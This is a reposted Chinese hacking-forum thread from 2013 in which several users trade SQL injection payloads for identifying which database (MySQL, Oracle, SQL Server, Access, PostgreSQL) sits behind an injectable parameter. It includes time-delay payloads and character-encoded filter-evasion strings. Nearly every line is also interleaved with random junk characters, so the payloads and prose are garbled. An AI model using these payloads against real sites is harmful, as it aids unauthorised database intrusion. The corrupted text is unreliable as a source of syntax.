中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库+ M7 Y2 v# p7 J
xsser (十根阳具有长短!!) | 2013-02-05 12:36: x% s( y; j5 Y- p0 I
假设这么一个注射点:0 T/ ^8 c2 c. x! }
show.html?id=2
; t, i, |. I7 qmysql:id=2 and version()>0
) c( k& _4 V0 ]1 L' m1 _oracle:id=2 and '1'||'1'='11
0 w; o' ?6 e* W# e7 z% C) g- X其他的欢迎补充
/ H2 Z4 s  g& k2 v; l1#
% ?' h8 _. m0 L% K; c7 Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
1 K" n' f# u4 p; dAccess:
) O0 e# H7 N& o* @6 z0 i4 oaNd aSc(cHr(97))=97$ G9 w: y( L! B; M
and exists(select id from MSysAccessObjects)
5 |3 u$ o+ c* D  x# {4 I) ]SQL Server:
3 |4 Y7 H1 Y% n& F: ?# Fand exists(select id from sysobjects)
3 a) J1 l: {7 ^$ ?and length(user)>0
7 z" s; Q$ x+ |2 z* z( q2 [) h, PMySQL:3 F: w2 {+ }# H8 g
and length(user())>0
, P8 x3 c9 n, {7 ~2#+ g9 r2 x+ C( k! y- h
xsser (十根阳具有长短!!) | 2013-02-05 12:48
# C) k5 h$ `0 A4 P4 ~@upload 如果这些都不是呢…8 k- p& C, C9 c( [8 @# f) o
3#) V4 M  V1 r. q5 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:033 Q8 z4 ]; ~$ I4 v2 _3 I- K
@xsser 不快速的,延时注入  Q+ T, f! I) B
不知道这样写对不对
' U( j; Q5 `* F7 @* i2 h; kmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
3 m9 i+ D5 m$ Tmysql:id=2 and select benchmark(1e8,current_date());6 E: y2 i9 g7 R- F7 J, n
4#
1 A- d0 L8 Z/ j7 fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
! N  `: d5 d4 A, u& g9 B5 ~最快的貌似是看报错信息
# @! ^) I" c& e- W8 y% c8 ^' Xoracle error
, G: R6 D5 G; a  f8 g6 v' L, h6 Y9 jmssql error, T5 f1 o$ {0 U& V- o, \
mysql error
3 [! w2 o' n! z  |1 T3 E8 s5#! K: c3 q1 c" v$ L
Nimda (你们都是坏银~) | 2013-02-05 13:140 R/ T* W. W' P9 h8 s3 ?" a- g( F
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)* N. h  N4 \1 c
6#8 l7 |4 Y$ i$ q+ l
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21( S( t$ t8 W, n( P  d2 p9 g
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
* ?& o/ z. g+ N" {5 e6 J“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:* x7 T- H7 k, S( x: D
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
+ v& J7 G0 l. u7#
. r3 r& ]& q1 J_Evil (HackEnd) | 2013-02-05 13:338 w5 M9 [0 |9 W
PostgreSQL# t0 [: [. P) O& F( O; b
8#% {% Q- T! I; V/ F) ~% ~8 B5 }/ t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
( A3 _1 K& f  ]6 C% D0 m, _8 i% p切换编码 and 1=19 F& W6 B2 ?) T  M2 \  w. ]
oracle:
' S- y; k4 g  w/ XCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)) H: ]8 F# M' \' u4 I
mssql:! R2 p! C# R& m  q
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)# {2 K6 [, r2 q0 ^2 `, a( O$ h
mysql:
5 y" K5 @# m$ ]* k9 |6 OCHAR(97, 110, 100, 32, 49, 61, 49)
8 K( F" @  M/ O5 y$ E9 v8 ?9#
) o$ ^- r, X2 j* Q+ J1 W3 b* w. w: Vxsser (十根阳具有长短!!) | 2013-02-05 14:31
9 V# P8 O  D& S@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
# ]3 i; |3 s" h9 r3 I10#
3 u  x1 ?) ]/ ]. k8 z- Iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:462 x8 s3 u8 y3 f) B9 o$ A% l
@xsser 是奇葩数据库类型的么?7 C% `% G. g7 [5 l$ z
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:- S5 {6 i$ n/ W# z5 `) d7 N* ~
1.是否可以使用特定的函数来判断,该数据库特有的; g' `( c5 F& ]" J: E% v
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等( f, Q; R8 i" o8 }0 z
3.是否可以编码查询
+ g  E1 @3 E6 D' v* C- x$ L& C% B* ]4.是否显可以利用错信息
* S7 ?9 M7 m+ f9 a5.是否存在数据库某些特性辅助判断% C& x8 ?' n/ @* z# p5 T& H
个人见解/ D! _) |7 ^% z( R: u% |/ Q$ n/ z
11#9 X% T& S4 p; F2 z
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55& B4 a& P& B; O8 a5 n" Q0 X
已收藏,mssql可以直接看到错误提示的吧~* R( @  v; g. y" W: ?8 `! f! |. ~
12#
) o! l/ @2 V! @/ F% B/ ^0 \. FPasser_by | 2013-02-05 15:09
; K) R& I- n; d. H6 d) H曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。% P, `0 g" A/ c9 u( Q8 a" w4 e
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2